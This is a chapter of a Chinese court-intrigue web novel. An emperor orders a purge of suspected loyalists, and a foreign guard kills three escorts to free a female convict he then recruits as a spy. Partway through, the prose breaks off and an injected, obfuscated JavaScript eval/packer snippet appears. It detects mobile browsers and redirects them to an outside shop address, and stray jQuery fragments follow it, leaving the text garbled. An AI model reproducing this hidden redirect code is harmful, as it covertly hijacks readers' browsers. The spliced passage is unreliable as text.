132.闻姑娘

作品:《帝青

    春意沉沉,长宁宫的暮色也来得早。


    出乎意料的是,靖和帝竟然莅临了此处。他屏退侍女,叫她们不要去通传,自己只身前去即可。


    他推开大门,昏光也同他一起透了进来,在地上划出大片大片的暗金色。透过层层昏帐,他瞥见赵太后正靠在软榻上,赫连漠俯身在她耳畔说着话,两人之间不过寸许距离。


    太后的笑声是久违的娇慵,无论如何,他李牧之是许久没听到了。


    李牧之在珠帘前站定,任由流苏一寸寸滑过他的掌心。她的声音将他拉回了很多年前,也是这样的黄昏,还不是太后的赵晴好,也曾这样对他笑过。


    只是那笑容给了别人,给了个北戎的蛮子。


    “陛下怎么来了?”赵太后没听见通传,便知道他来了。她神色如常,仍和枕边人保持着方才的亲昵姿态。


    赫连漠退开一步,垂首行礼:“陛下。”


    李牧之面色不虞,狠狠瞪了他几眼:“赫连侍卫,你逾矩了。”


    “臣奉太后之命前来此处,并无他意。”


    “朕让你说话了吗?”李牧之神色阴冷地打断他,“滚出去。宫门外跪三日,好好想想自己的身份。”


    赫连漠的动作僵住了,低低应了声“是”,便转身退了出去。


    殿内只剩下两人,赵太后神色尴尬地穿戴整齐,移步至一张紫檀小几前,让李牧之坐着说话。


    茶几上摆了半盏残茶,茶汤已凉,浮着层薄薄的脂粉。


    定睛一看,是那赫连漠用过的杯盏,李牧之恶心地皱了皱眉,嫌恶地推到了一旁。


    “牧之,许久不见了。”赵太后端起自己那盏,慢条斯理地抿了一口。


    李牧之越过了这些寒暄之词,直勾勾地盯着她:“你我见不见倒是无所谓,母后可知,李澜已经失踪数月之久了。”


    赵太后轻咳一声,握着茶盏的手顿在半空。


    “据玉漱宫的守卫说,失踪前夜,人还在那疯疯癫癫地玩着地上的积灰。天亮就不见了。”


    “门窗完好,没有打斗痕迹,就像是凭空蒸发了一样。”


    赵太后慢悠悠地放下茶盏:“那么,牧之怀疑他没疯?”


    “或者疯了,但被人弄走了。”李牧之倾身向前一步,神色严肃了不少,“母后觉得,朝中还有多少人念着‘澜太子’呢?”


    赵太后重新施好口脂,不以为然:“窦玄龄闭门养病半年了,秦啸虎在薛相贬官后,也经常称病不上朝了。你看啊,这些人,要么老了,要么怕了。”


    李牧之冷笑一声:“怕就不会暗中串联着,在奏折里夹带私货,不会一提起‘先太子’就眼神闪烁着,生怕朕下一秒就要多问。”


    他站起身来,在殿内反复踱起步来。


    仔细思量了好一阵,他再度开口:“明日,朕要派铁骑营三百精锐出京。十路,每路三十人,往各州府去。凡年貌与李澜相仿者——”


    “格杀勿论。”


    赵太后闻言,先是惊呼一声,随后换了个颇有距离的称呼:“陛下这是宁可错杀一千啊。”


    “错杀一千,也好过放过一个。”李牧之走回她面前,俯身撑着几面,“母后在宫中这些年,人脉眼线遍布六宫。替朕查查如何?查查朝中哪些人心思活了,开始要和朕唱反调了。”


    两人对视着,直到年长者挑了挑凤目,率先打破了沉默。


    “好。”赵太后终于应下。


    李牧之走到珠帘外,又看眼桌上他嫌弃的那半盏残茶,状似善意地提醒道:“这赫连漠啊,母后您最好离远些。北戎的狼崽子,喂不熟的。”


    接着,便是“噼里啪啦”的珠子碰撞之音。珠帘落下,晃动不止。


    赵太后又重新软倒在榻上,倒在渐深的暮色里,吟着一首小诗。


    “昭京安,不若夜夜欢……”


    两日后,距昭京不远的阳城郊外。


    阳城是个狩猎的好地方,春草刚刚冒头,远看是一片蒙蒙的绿。


    赫连漠单骑出了城,在原野上纵马狂奔。风扯着他的发辫,草屑沾了满身。


    他被李牧之勒令在宫门外跪上三日,膝盖上磕出了大片的淤青,此刻夹着马腹,每一下颠簸都疼得钻心。


    可再怎样疼,也好过在异国宫中受的憋屈。


    马儿奔上一处缓坡时,恰好能看见远处的官道上有几个黑点在缓慢移动着。他勒住缰绳,凑近了才看清,是三个差役押了一个女囚。


    女囚戴着沉重的木枷,脚上拴着铁链,走一步就响一声。差役在她身后推搡着,还不忘骂骂咧咧。


    赫连漠向来见不得女子被如此欺辱,他神色一凛,立即策马下了坡。


    马蹄声立即惊动了几个差役,三人回头,看见是个北戎装束的骑手,都愣了愣。为首之人按住腰刀,质问道:“你是何人?”


    赫连漠冷哼一声,只去看那女囚。


    女囚低着头看着地面,头发分外散乱,遮住了整张脸。


    单薄的囚衣被磨得开了线,露出的手腕细得可怜,还被木枷边缘硌出一道道紫红的淤痕。脚踝处的铁链磨破了皮,血混着泥,结了厚厚的痂。


    “她犯了什么罪?”赫连漠用生硬的昭国话问道。


    差役一脸不屑:“流放犯,谋害朝廷命官。这位爷,我看你这衣服不寻常,难不成是北戎使团的?”


    赫连漠不答,又问:“走多久了?”


    “快一个月了!”另一个差役啐了一口,“这贱人走不动,拖累爷们啦!唉,你别说,这趟差事算是赔了!”


    说着扬起鞭子就要抽向瑟缩的女子——


    鞭影落下前,刀光先一步莅临。


    差役甚至没看清刀从哪里来的,只觉脖子一凉,视线就歪了过去。


    他最后看见自己的身子还站着,脖颈处喷出血来,在春日的灿阳下亮得刺眼。


    另外两人骇然欲逃,赫连漠策马追去。


    他的马快,刀则更快一些。一刀一个,干净利落。


    只听“唰唰”数声,三具尸体就径直倒在了官道旁。


    鲜血汩汩地渗进泥土中,把刚冒头的草芽染成了暗红色,旷野这才重新回归了寂静。


    赫连漠收刀回鞘,这才翻身下马,走向女囚。


    她一直低着头,直到他走到面前,才缓缓抬起脸去看来人是谁。


    赫连漠将她的乱发拂开,露出张年轻却憔悴的面容。她脸颊瘦得凹陷,嘴唇干裂,眉眼偏偏生得清秀。


    又大又黑的眼睛空茫茫的,看不出半点情绪。


    赫连漠拔出短刀,三两步砍断她脚上的铁链。


    铁链闷声落地,发出劈里啪啦的声响。


    紧接着,他又撬开木枷,沉重的枷锁“哐当”一声掉在尘土里。


    她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329685|195067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    活动了一下手腕,低头看着腕间的淤痕,随后抬起头来,用毫无神采的眼睛望着他。


    “救我做什么?”她的声音无精打采。


    “看不惯这些人而已。”


    赫连漠翻身上马,伸手去搀扶她:“上来。”


    她犹豫了片刻,伸出手。她的掌心有几个厚茧,一看便是是常年做活计的。


    赫连漠握住了,轻轻一带,她便坐到了他身前。


    马儿重新奔跑起来,往昭京的方向去了。三日已过,他没有理由继续在外游荡。


    少女双手紧紧抓着马鞍前缘,生怕失了气力,从马上掉了下来。


    风把她散乱的头发吹开,露出纤细的颈子,细细一看,上面也有枷锁留下的紫痕。


    赫连漠昭国话说得生硬:“叫什么名字?”


    “温故。”她答,声音柔软,很快被风吹散。


    “温故。”赫连漠点点头,重复着声调,算是记下了。


    “既然是罪人名讳,以后,便叫你闻姑娘。”


    劫后余生,少女无力辩驳,便轻轻“嗯”了一声。


    当晚,一间客栈内。


    赫连漠向店家要了热水和干净的衣裳,供她梳洗。少女感激地接下了,径直去了自己的房间。


    她在房里待了很久,出来时,换了身素白色的衣裙,散乱的头发也绾起来了。


    洗去污垢的脸苍白如纸,可眉眼清晰了不少,温故是极其小巧秀气的长相,清丽柔美。


    赫连漠坐在桌边,大口大口地喝着酒,示意她坐在桌子的另一侧。


    她依言坐下,双手叠在膝上,姿态规整得同大家闺秀无异。


    “说。”赫连漠推过去一杯热茶,“为什么害人?”


    温故饮了几口茶,茶汤下肚,才将她的故事娓娓道来。


    她平静地叙述着不堪回首的往事,说话的节奏也极慢。


    如何爱慕一个男子,嫉妒另一个女子,接着买了禁药,被人蛊惑着投毒,事情败露后,又如何落得个流放的结局,连累兄长贬官……


    说到陈姓男子时,她的眼神终于有了波动,如静水中投入了一块大石,漾开浅浅的涟漪。


    说到那女子时,涟漪又消失了,一汪静水凝结成了冷硬的冰块。


    说到兄长时,她总算有了一些悔意,连连摇头。


    赫连漠偶尔抿了口酒,就这样听她慢慢说完。等她说完了,他才发问:“你恨他们吗?”


    温故直勾勾地望着他,眼中升起了不甘的烈焰:“恨。我恨这林青好好的活着,被我的心上人爱着,保护着。而我和兄长只能如蝼蚁般仰视着他人,这世道呵!真是如此不公。”


    “想报仇么?”


    赫连漠突然开口:“留在我身边。做我的眼睛,我的耳朵。总有一天,你能得到你想要的报仇。”


    “天下没有免费的午餐,你需要我做什么。”她淡然问道。


    “为我做事即可。”赫连漠举起酒杯,与她的茶盏相撞,“闻姑娘,从今日起,你重生了。”


    她亦照猫画虎地举起茶盏,与他碰了碰杯。


    杯中茶水映出了她的面容,恍惚间,好像看见了十五岁时端坐在温家村的小院里,静静织着衣裳的自己。


    时过境迁,她究竟是温故,还是他口中的闻姑娘?


    就算不是温故了,是也非也,真的还重要么?